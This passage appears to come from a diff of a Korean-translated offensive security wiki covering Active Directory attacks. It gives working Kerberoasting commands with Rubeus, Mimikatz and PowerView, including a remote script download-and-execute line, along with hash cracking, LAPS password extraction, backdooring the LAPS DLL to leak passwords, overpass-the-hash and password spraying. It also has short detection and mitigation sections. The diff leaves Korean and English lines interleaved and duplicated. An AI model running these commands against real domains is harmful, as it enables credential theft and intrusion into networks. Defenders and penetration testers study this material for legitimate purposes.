kerberoast ldap spn 'ldap+ntlm-password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -o kerberoastable # 1. kerberoastable 사용자 열거
kerberoast spnroast 'kerberos+password://<DOMAIN.FULL>\<USERNAME>:<PASSWORD>@<DC_IP>' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. 해시 덤프
```
kerberoastable 사용자 덤프를 포함한 다기능 도구:
Multi-features tools including a dump of kerberoastable users:
```bash
# ADenum: https://github.com/SecuProject/ADenum
adenum -d <DOMAIN.FULL> -ip <DC_IP> -u <USERNAME> -p <PASSWORD> -c
```
#### Windows
- **Kerberoastable 사용자 나열**
```powershell
# Get Kerberoastable users
setspn.exe -Q */* #This is a built-in binary. Focus on user accounts
- **Enumerate Kerberoastable users**
```bash
# Kerberoastable 사용자 가져오기
setspn.exe -Q */* #이것은 내장 바이너리입니다. 사용자 계정에 집중하세요.
Get-NetUser -SPN | select serviceprincipalname #Powerview
.\Rubeus.exe kerberoast /stats
```
- **기술 1: TGS 요청 및 메모리에서 덤프하기**
```powershell
#Get TGS in memory from a single user
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart)
- **Technique 1: Ask for TGS and dump it from memory**
```bash
# 단일 사용자로부터 메모리에서 TGS 가져오기
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #예: MSSQLSvc/mgmt.domain.local
# 모든 kerberoastable 계정에 대한 TGS 가져오기 (PC 포함, 그리 스마트하지 않음)
setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
#List kerberos tickets in memory
# 메모리에서 kerberos 티켓 목록
klist
# Extract them from memory
Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
# 메모리에서 추출
Invoke-Mimikatz -Command '"kerberos::list /export"' #티켓을 현재 폴더로 내보내기
# Transform kirbi ticket to john
# kirbi 티켓을 john으로 변환
python2.7 kirbi2john.py sqldev.kirbi
# Transform john to hashcat
# john을 hashcat으로 변환
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
```
- **기술 2: 자동 도구**
- **Technique 2: Automatic tools**
```bash
# Powerview: Get Kerberoast hash of a user
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
# Powerview: Get all Kerberoast hashes
# Powerview: 사용자 Kerberoast 해시 가져오기
Request-SPNTicket -SPN "<SPN>" -Format Hashcat #PowerView 사용 예: MSSQLSvc/mgmt.domain.local
# Powerview: 모든 Kerberoast 해시 가져오기
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation
# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins
.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #특정 사용자
.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #관리자 가져오기
# Invoke-Kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
```
> [!WARNING]
> TGS가 요청될 때, Windows 이벤트 `4769 - Kerberos 서비스 티켓이 요청되었습니다`가 생성됩니다.
### 크래킹
> [!WARNING]
> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated.
### Cracking
```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```
### Persistence
사용자에 대해 **충분한 권한**이 있다면 **kerberoastable**로 만들 수 있습니다:
If you have **enough permissions** over a user you can **make it kerberoastable**:
```bash
Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
```
유용한 **도구**를 **kerberoast** 공격에 대해 여기에서 찾을 수 있습니다: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
Linux에서 다음과 같은 **오류**가 발생하면: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** 이는 로컬 시간 때문이며, 호스트를 DC와 동기화해야 합니다. 몇 가지 옵션이 있습니다:
You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
- `ntpdate <IP of DC>` - Ubuntu 16.04부터 사용 중단
If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options:
- `ntpdate <IP of DC>` - Deprecated as of Ubuntu 16.04
- `rdate -n <IP of DC>`
### 완화
### Mitigation
Kerberoasting은 exploitable할 경우 높은 수준의 은밀함으로 수행될 수 있습니다. 이 활동을 감지하기 위해서는 **Security Event ID 4769**에 주의를 기울여야 하며, 이는 Kerberos 티켓이 요청되었음을 나타냅니다. 그러나 이 이벤트의 빈도가 높기 때문에 의심스러운 활동을 분리하기 위해 특정 필터를 적용해야 합니다:
Kerberoasting can be conducted with a high degree of stealthiness if it is exploitable. In order to detect this activity, attention should be paid to **Security Event ID 4769**, which indicates that a Kerberos ticket has been requested. However, due to the high frequency of this event, specific filters must be applied to isolate suspicious activities:
- The service name should not be **krbtgt**, as this is a normal request.
- Service names ending with **$** should be excluded to avoid including machine accounts used for services.
- Requests from machines should be filtered out by excluding account names formatted as **machine@domain**.
- Only successful ticket requests should be considered, identified by a failure code of **'0x0'**.
- **Most importantly**, the ticket encryption type should be **0x17**, which is often used in Kerberoasting attacks.
- 서비스 이름은 **krbtgt**가 아니어야 하며, 이는 정상 요청입니다.
- **$**로 끝나는 서비스 이름은 서비스에 사용되는 머신 계정을 포함하지 않도록 제외해야 합니다.
- 머신에서 오는 요청은 **machine@domain** 형식의 계정 이름을 제외하여 필터링해야 합니다.
- 성공적인 티켓 요청만 고려해야 하며, 실패 코드 **'0x0'**로 식별됩니다.
- **가장 중요하게**, 티켓 암호화 유형은 **0x17**이어야 하며, 이는 Kerberoasting 공격에서 자주 사용됩니다.
```bash
Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
```
Kerberoasting의 위험을 완화하기 위해:
- **서비스 계정 비밀번호가 추측하기 어렵도록** 하며, **25자 이상**의 길이를 권장합니다.
- **관리형 서비스 계정**을 활용하여 **자동 비밀번호 변경** 및 **위임된 서비스 주체 이름(SPN) 관리**와 같은 이점을 제공하여 이러한 공격에 대한 보안을 강화합니다.
To mitigate the risk of Kerberoasting:
이러한 조치를 구현함으로써 조직은 Kerberoasting과 관련된 위험을 크게 줄일 수 있습니다.
- Ensure that **Service Account Passwords are difficult to guess**, recommending a length of more than **25 characters**.
- Utilize **Managed Service Accounts**, which offer benefits like **automatic password changes** and **delegated Service Principal Name (SPN) Management**, enhancing security against such attacks.
## 도메인 계정 없이 Kerberoast
By implementing these measures, organizations can significantly reduce the risk associated with Kerberoasting.
**2022년 9월**, Charlie Clark라는 연구원이 자신의 플랫폼 [exploit.ph](https://exploit.ph/)를 통해 시스템을 악용하는 새로운 방법을 밝혔습니다. 이 방법은 **KRB_AS_REQ** 요청을 통해 **서비스 티켓(ST)**를 획득할 수 있게 해주며, 놀랍게도 어떤 Active Directory 계정에 대한 제어도 필요하지 않습니다. 본질적으로, 주체가 사전 인증을 요구하지 않도록 설정된 경우—사이버 보안 영역에서 **AS-REP Roasting 공격**으로 알려진 시나리오와 유사한 경우—이 특성을 활용하여 요청 프로세스를 조작할 수 있습니다. 구체적으로, 요청 본문 내의 **sname** 속성을 변경함으로써 시스템이 표준 암호화된 티켓 부여 티켓(TGT) 대신 **ST**를 발급하도록 속일 수 있습니다.
## Kerberoast w/o domain account
이 기술에 대한 자세한 설명은 이 기사에서 확인할 수 있습니다: [Semperis 블로그 게시물](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
In **September 2022**, a new way to exploit a system was brought to light by a researcher named Charlie Clark, shared through his platform [exploit.ph](https://exploit.ph/). This method allows for the acquisition of **Service Tickets (ST)** via a **KRB_AS_REQ** request, which remarkably does not necessitate control over any Active Directory account. Essentially, if a principal is set up in such a way that it doesn't require pre-authentication—a scenario similar to what's known in the cybersecurity realm as an **AS-REP Roasting attack**—this characteristic can be leveraged to manipulate the request process. Specifically, by altering the **sname** attribute within the request's body, the system is deceived into issuing a **ST** rather than the standard encrypted Ticket Granting Ticket (TGT).
The technique is fully explained in this article: [Semperis blog post](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/).
> [!WARNING]
> 이 기술을 사용하여 LDAP를 쿼리할 유효한 계정이 없기 때문에 사용자 목록을 제공해야 합니다.
> You must provide a list of users because we don't have a valid account to query the LDAP using this technique.
#### Linux
- [impacket/GetUserSPNs.py from PR #1413](https://github.com/fortra/impacket/pull/1413):
```bash
GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "dc.domain.local" "domain.local"/
```
#### Windows
- [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139):
```bash
Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE"
```
## 참고 문헌
## References
- [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)

22
src/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
View File

@ -6,28 +6,28 @@
Kerberos "Double Hop" 문제는 공격자가 **두 개의** **홉**을 통해 **Kerberos 인증**을 사용하려고 할 때 발생합니다. 예를 들어 **PowerShell**/**WinRM**을 사용하는 경우입니다.
**Kerberos**를 통해 **인증**이 발생할 때, **자격 증명**이 **메모리**에 캐시되지 않습니다. 따라서 사용자가 프로세스를 실행하고 있더라도 mimikatz를 실행하면 해당 사용자의 **자격 증명**을 머신에서 찾을 수 없습니다.
**Kerberos**를 통해 **인증**이 발생할 때, **자격 증명**이 **메모리**에 캐시되지 않습니다. 따라서, 사용자가 프로세스를 실행하고 있더라도 mimikatz를 실행하면 해당 사용자의 **자격 증명**을 머신에서 찾을 수 없습니다.
이는 Kerberos로 연결할 때 다음과 같은 단계가 있기 때문입니다:
1. User1이 자격 증명을 제공하고 **도메인 컨트롤러**가 User1에게 Kerberos **TGT**를 반환합니다.
2. User1이 **TGT**를 사용하여 **Server1**에 연결하기 위한 **서비스 티켓**을 요청합니다.
3. User1이 **Server1**에 **연결**하고 **서비스 티켓**을 제공합니다.
4. **Server1**은 User1의 **자격 증명**이나 User1의 **TGT**를 캐시하지 않습니다. 따라서 Server1의 User1이 두 번째 서버에 로그인하려고 할 때 **인증할 수 없습니다**.
4. **Server1**은 User1의 **자격 증명**이나 User1의 **TGT**를 캐시하지 않습니다. 따라서 User1이 Server1에서 두 번째 서버에 로그인하려고 할 때, 그는 **인증할 수 없습니다**.
### Unconstrained Delegation
PC에서 **제한 없는 위임**이 활성화되어 있으면, **서버**는 접근하는 각 사용자의 **TGT**를 **얻습니다**. 게다가, 제한 없는 위임이 사용되면 **도메인 컨트롤러**를 **타격할 수** 있습니다.\
PC에서 **제한 없는 위임**이 활성화되어 있으면, **서버**는 접근하는 각 사용자의 **TGT**를 **얻기** 때문에 이러한 일이 발생하지 않습니다. 게다가, 제한 없는 위임을 사용하면 **도메인 컨트롤러**를 **타격**할 수 있습니다.\
[**제한 없는 위임 페이지에서 더 많은 정보**](unconstrained-delegation.md).
### CredSSP
이 문제를 피하는 또 다른 방법은 [**상당히 안전하지 않은**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **자격 증명 보안 지원 공급자**입니다. Microsoft에서:
이 문제를 피하는 또 다른 방법은 [**상당히 안전하지 않은**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) **Credential Security Support Provider**입니다. Microsoft에서:
> CredSSP 인증은 로컬 컴퓨터에서 원격 컴퓨터로 사용자 자격 증명을 위임합니다. 이 관행은 원격 작업의 보안 위험을 증가시킵니다. 원격 컴퓨터가 손상되면 자격 증명이 전달될 때, 해당 자격 증명은 네트워크 세션을 제어하는 데 사용될 수 있습니다.
보안 문제로 인해 **CredSSP**는 프로덕션 시스템, 민감한 네트워크 및 유사한 환경에서 비활성화하는 것이 강력히 권장됩니다. **CredSSP**가 활성화되어 있는지 확인하려면 `Get-WSManCredSSP` 명령을 실행할 수 있습니다. 이 명령은 **CredSSP 상태를 확인**할 수 있으며, **WinRM**이 활성화되어 있으면 원격으로도 실행할 수 있습니다.
```powershell
보안 문제로 인해 **CredSSP**는 프로덕션 시스템, 민감한 네트워크 및 유사한 환경에서 비활성화하는 것이 강력히 권장됩니다. **CredSSP**가 활성화되어 있는지 확인하려면 `Get-WSManCredSSP` 명령을 실행할 수 있습니다. 이 명령은 **CredSSP 상태를 확인**할 수 있으며, **WinRM**이 활성화되어 있는 경우 원격으로도 실행할 수 있습니다.
```bash
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
Get-WSManCredSSP
}
@ -36,8 +36,8 @@ Get-WSManCredSSP
### Invoke Command
더블 홉 문제를 해결하기 위해 중첩된 `Invoke-Command`를 포함하는 방법이 제시됩니다. 이는 문제를 직접적으로 해결하지는 않지만 특별한 구성이 필요 없는 우회 방법을 제공합니다. 이 접근 방식은 초기 공격 머신에서 실행된 PowerShell 명령어를 통해 또는 첫 번째 서버와 이전에 설정된 PS-Session을 통해 보조 서버에서 명령어(`hostname`)를 실행할 수 있게 합니다. 방법은 다음과 같습니다:
```powershell
더블 홉 문제를 해결하기 위해 중첩된 `Invoke-Command`를 포함하는 방법이 제시됩니다. 이는 문제를 직접적으로 해결하지는 않지만 특별한 구성 없이 우회 방법을 제공합니다. 이 접근 방식은 초기 공격 머신에서 실행된 PowerShell 명령어를 통해 또는 첫 번째 서버와 이전에 설정된 PS-Session을 통해 보조 서버에서 명령어(`hostname`)를 실행할 수 있게 합니다. 방법은 다음과 같습니다:
```bash
$cred = Get-Credential ta\redsuit
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
@ -48,7 +48,7 @@ Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
### PSSession 구성 등록
더블 홉 문제를 우회하는 솔루션은 `Enter-PSSession`과 함께 `Register-PSSessionConfiguration`을 사용하는 것입니다. 이 방법은 `evil-winrm`과는 다른 접근 방식을 요구하며, 더블 홉 제한이 없는 세션을 허용합니다.
```powershell
```bash
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
Restart-Service WinRM
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
@ -77,11 +77,11 @@ winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
2. 압축을 풀고 `Install-sshd.ps1` 스크립트를 실행합니다.
3. 포트 22를 열기 위해 방화벽 규칙을 추가하고 SSH 서비스가 실행 중인지 확인합니다.
`Connection reset` 오류를 해결하려면 OpenSSH 디렉토리에 대해 모든 사용자가 읽기 및 실행 권한을 갖도록 권한을 업데이트해야 할 수 있습니다.
`Connection reset` 오류를 해결하려면 OpenSSH 디렉토리에 대해 모든 사용자가 읽기 및 실행 액세스를 허용하도록 권한을 업데이트해야 할 수 있습니다.
```bash
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
```
## 참고 문헌
## References
- [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
- [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)

26
src/windows-hardening/active-directory-methodology/laps.md
View File

@ -3,13 +3,13 @@
{{#include ../../banners/hacktricks-training.md}}
## 기본 정보
## Basic Information
Local Administrator Password Solution (LAPS)는 **고유하고 무작위이며 자주 변경되는** **관리자 비밀번호**가 도메인에 가입된 컴퓨터에 적용되는 시스템을 관리하는 데 사용되는 도구입니다. 이러한 비밀번호는 Active Directory 내에 안전하게 저장되며, Access Control Lists (ACLs)를 통해 권한이 부여된 사용자만 접근할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송 보안은 **Kerberos version 5**와 **Advanced Encryption Standard (AES)**의 사용으로 보장됩니다.
Local Administrator Password Solution (LAPS)는 **고유하고 무작위이며 자주 변경되는** **관리자 비밀번호**를 도메인에 가입된 컴퓨터에 적용하는 시스템을 관리하는 데 사용되는 도구입니다. 이러한 비밀번호는 Active Directory 내에 안전하게 저장되며, Access Control Lists (ACLs)를 통해 권한이 부여된 사용자만 접근할 수 있습니다. 클라이언트에서 서버로의 비밀번호 전송 보안은 **Kerberos version 5**와 **Advanced Encryption Standard (AES)**의 사용으로 보장됩니다.
도메인의 컴퓨터 객체에서 LAPS의 구현은 두 개의 새로운 속성인 **`ms-mcs-AdmPwd`**와 **`ms-mcs-AdmPwdExpirationTime`**의 추가로 이어집니다. 이러한 속성은 각각 **일반 텍스트 관리자 비밀번호**와 **만료 시간**을 저장합니다.
도메인의 컴퓨터 객체에서 LAPS의 구현은 두 개의 새로운 속성인 **`ms-mcs-AdmPwd`**와 **`ms-mcs-AdmPwdExpirationTime`**의 추가로 이어집니다. 이 속성들은 각각 **일반 텍스트 관리자 비밀번호**와 **만료 시간**을 저장합니다.
### 활성화 여부 확인
### Check if activated
```bash
reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled
@ -24,10 +24,10 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs
```
### LAPS 비밀번호 접근
`\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol`에서 **원시 LAPS 정책을 다운로드**한 다음, [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 패키지의 **`Parse-PolFile`**을 사용하여 이 파일을 사람이 읽을 수 있는 형식으로 변환할 수 있습니다.
당신은 **원시 LAPS 정책을 다운로드**할 수 있습니다 `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` 그리고 **`Parse-PolFile`**를 사용하여 [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) 패키지에서 이 파일을 사람이 읽을 수 있는 형식으로 변환할 수 있습니다.
또한, **네이티브 LAPS PowerShell cmdlets**는 우리가 접근할 수 있는 머신에 설치되어 있다면 사용할 수 있습니다:
```powershell
게다가, **네이티브 LAPS PowerShell cmdlets**는 우리가 접근할 수 있는 머신에 설치되어 있다면 사용할 수 있습니다:
```bash
Get-Command *AdmPwd*
CommandType Name Version Source
@ -48,7 +48,7 @@ Find-AdmPwdExtendedRights -Identity Workstations | fl
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
```
**PowerView**는 **누가 비밀번호를 읽을 수 있는지와 그것을 읽는지** 알아내는 데에도 사용될 수 있습니다:
```powershell
```bash
# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl
@ -59,8 +59,8 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd
The [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit)는 여러 기능을 통해 LAPS의 열거를 용이하게 합니다.\
하나의 기능은 **LAPS가 활성화된 모든 컴퓨터에 대한 `ExtendedRights`**를 파싱하는 것입니다. 이는 **LAPS 비밀번호를 읽도록 특별히 위임된 그룹**을 보여주며, 이러한 그룹은 종종 보호된 그룹의 사용자입니다.\
**도메인에 컴퓨터를 가입시킨 계정**은 해당 호스트에 대한 `All Extended Rights`를 받으며, 이 권한은 **비밀번호를 읽을 수 있는 능력**을 부여합니다. 열거를 통해 호스트에서 LAPS 비밀번호를 읽을 수 있는 사용자 계정을 보여줄 수 있습니다. 이는 LAPS 비밀번호를 읽을 수 있는 **특정 AD 사용자**를 **타겟팅하는 데** 도움이 될 수 있습니다.
```powershell
**도메인에 컴퓨터를 가입시킨** **계정**은 해당 호스트에 대해 `All Extended Rights`를 받으며, 이 권한은 **계정**이 **비밀번호를 읽을 수 있는** 능력을 부여합니다. 열거를 통해 호스트에서 LAPS 비밀번호를 읽을 수 있는 사용자 계정을 보여줄 수 있습니다. 이는 LAPS 비밀번호를 읽을 수 있는 **특정 AD 사용자**를 **타겟팅하는 데** 도움이 될 수 있습니다.
```bash
# Get groups that can read passwords
Find-LAPSDelegatedGroups
@ -104,7 +104,7 @@ Password: 2Z@Ae)7!{9#Cq
### **만료 날짜**
관리자가 되면, **비밀번호를 얻고** **비밀번호 업데이트를 방지**하기 위해 **만료 날짜를 미래로 설정**할 수 있습니다.
```powershell
```bash
# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
@ -113,11 +113,11 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}
```
> [!WARNING]
> 비밀번호는 **admin**이 **`Reset-AdmPwdPassword`** cmdlet을 사용할 경우 여전히 재설정됩니다. 또는 LAPS GPO에서 **정책에 의해 요구되는 것보다 긴 비밀번호 만료 시간을 허용하지 않음**이 활성화된 경우에도 마찬가지입니다.
> 비밀번호는 **admin**이 **`Reset-AdmPwdPassword`** cmdlet을 사용하거나 LAPS GPO에서 **정책에 의해 요구되는 것보다 긴 비밀번호 만료 시간을 허용하지 않음**이 활성화된 경우 여전히 재설정됩니다.
### 백도어
LAPS의 원본 소스 코드는 [여기](https://github.com/GreyCorbel/admpwd)에서 찾을 수 있으며, 따라서 코드에 백도어를 삽입하는 것이 가능합니다 (예: `Main/AdmPwd.PS/Main.cs`의 `Get-AdmPwdPassword` 메서드 내부) 이는 어떤 식으로든 **새 비밀번호를 유출하거나 어딘가에 저장**할 수 있습니다.
LAPS의 원본 소스 코드는 [여기](https://github.com/GreyCorbel/admpwd)에서 찾을 수 있으므로, 코드에 백도어를 넣는 것이 가능합니다 (예: `Main/AdmPwd.PS/Main.cs`의 `Get-AdmPwdPassword` 메서드 내부) 이 백도어는 어떤 식으로든 **새 비밀번호를 유출하거나 어딘가에 저장**할 수 있습니다.
그런 다음, 새로운 `AdmPwd.PS.dll`을 컴파일하고 `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll`에 업로드합니다 (그리고 수정 시간을 변경합니다).

13
src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
View File

@ -7,7 +7,7 @@
**Overpass The Hash/Pass The Key (PTK)** 공격은 전통적인 NTLM 프로토콜이 제한되고 Kerberos 인증이 우선시되는 환경을 위해 설계되었습니다. 이 공격은 사용자의 NTLM 해시 또는 AES 키를 활용하여 Kerberos 티켓을 요청함으로써 네트워크 내의 리소스에 대한 무단 접근을 가능하게 합니다.
이 공격을 실행하기 위한 첫 번째 단계는 대상 사용자의 계정에 대한 NTLM 해시 또는 비밀번호를 획득하는 것입니다. 이 정보를 확보한 후, 해당 계정에 대한 티켓 부여 티켓(TGT)을 얻을 수 있으며, 이를 통해 공격자는 사용자가 권한을 가진 서비스나 머신에 접근할 수 있습니다.
이 공격을 실행하기 위한 첫 번째 단계는 대상 사용자의 계정의 NTLM 해시 또는 비밀번호를 획득하는 것입니다. 이 정보를 확보한 후, 해당 계정에 대한 티켓 부여 티켓(TGT)을 얻을 수 있으며, 이를 통해 공격자는 사용자가 권한을 가진 서비스나 머신에 접근할 수 있습니다.
이 프로세스는 다음 명령어로 시작할 수 있습니다:
```bash
@ -30,7 +30,16 @@ Rubeus.exe를 사용하는 대체 명령 시퀀스는 이 기술의 또 다른
```bash
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
```
## 참고문헌
## Stealthier version
> [!WARNING]
> 각 로그온 세션은 한 번에 하나의 활성 TGT만 가질 수 있으므로 주의하세요.
1. Cobalt Strike의 **`make_token`**을 사용하여 새로운 로그온 세션을 만듭니다.
2. 그런 다음, Rubeus를 사용하여 기존 세션에 영향을 주지 않고 새로운 로그온 세션에 대한 TGT를 생성합니다.
## References
- [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)

26
src/windows-hardening/active-directory-methodology/password-spraying.md
View File

@ -1,18 +1,18 @@
# Password Spraying / Brute Force
# 비밀번호 스프레이 / 무차별 대입 공격
{{#include ../../banners/hacktricks-training.md}}
## **Password Spraying**
## **비밀번호 스프레이**
여러 **유효한 사용자 이름**을 찾은 후, 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도할 수 있습니다 (환경의 비밀번호 정책을 염두에 두세요).\
기본적으로 **최소** **비밀번호** **길이**는 **7**입니다.
여러 **유효한 사용자 이름**을 찾은 후, 발견된 각 사용자에 대해 가장 **일반적인 비밀번호**를 시도할 수 있습니다(환경의 비밀번호 정책을 염두에 두세요).\
**기본적으로** **최소** **비밀번호** **길이**는 **7**입니다.
일반적인 사용자 이름 목록도 유용할 수 있습니다: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
여러 개의 잘못된 비밀번호를 시도하면 **일부 계정이 잠길 수 있습니다** (기본적으로 10개 이상).
여러 개의 잘못된 비밀번호를 시도하면 **일부 계정이 잠길 수 있습니다**(기본적으로 10개 이상).
### Get password policy
### 비밀번호 정책 가져오기
사용자 자격 증명이나 도메인 사용자로서의 쉘이 있는 경우, **다음 명령어로 비밀번호 정책을 가져올 수 있습니다**:
```bash
@ -31,9 +31,9 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Linux(또는 모든)에서의 악용
### Exploitation from Linux (or all)
- **crackmapexec** 사용:
- Using **crackmapexec:**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
@ -56,7 +56,7 @@ spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
```
- **Metasploit**의 `scanner/smb/smb_login` 모듈을 사용하여:
- `scanner/smb/smb_login` 모듈을 사용하여 **Metasploit**:
![](<../../images/image (745).png>)
@ -67,7 +67,7 @@ for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done
```
#### Windows에서
#### From Windows
- [Rubeus](https://github.com/Zer1t0/Rubeus) 브루트 모듈이 포함된 버전:
```bash
@ -77,8 +77,8 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)를 사용하여 (기본적으로 도메인에서 사용자를 생성할 수 있으며 도메인에서 비밀번호 정책을 가져와 이에 따라 시도를 제한합니다):
```powershell
- [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1)를 사용하여 (기본적으로 도메인에서 사용자를 생성할 수 있으며, 도메인에서 비밀번호 정책을 가져와 이에 따라 시도를 제한합니다):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
- [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1) 사용하여
@ -99,7 +99,7 @@ Outlook에 대한 p**assword spraying**을 위한 여러 도구가 있습니다.
- [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) 사용 (Powershell)
- [MailSniper](https://github.com/dafthack/MailSniper) 사용 (Powershell)
이 도구 중 하나를 사용하려면 사용자 목록과 비밀번호 / 비밀번호의 작은 목록이 필요합니다.
이 도구를 사용하려면 사용자 목록과 비밀번호 / 비밀번호의 작은 목록이 필요합니다.
```bash
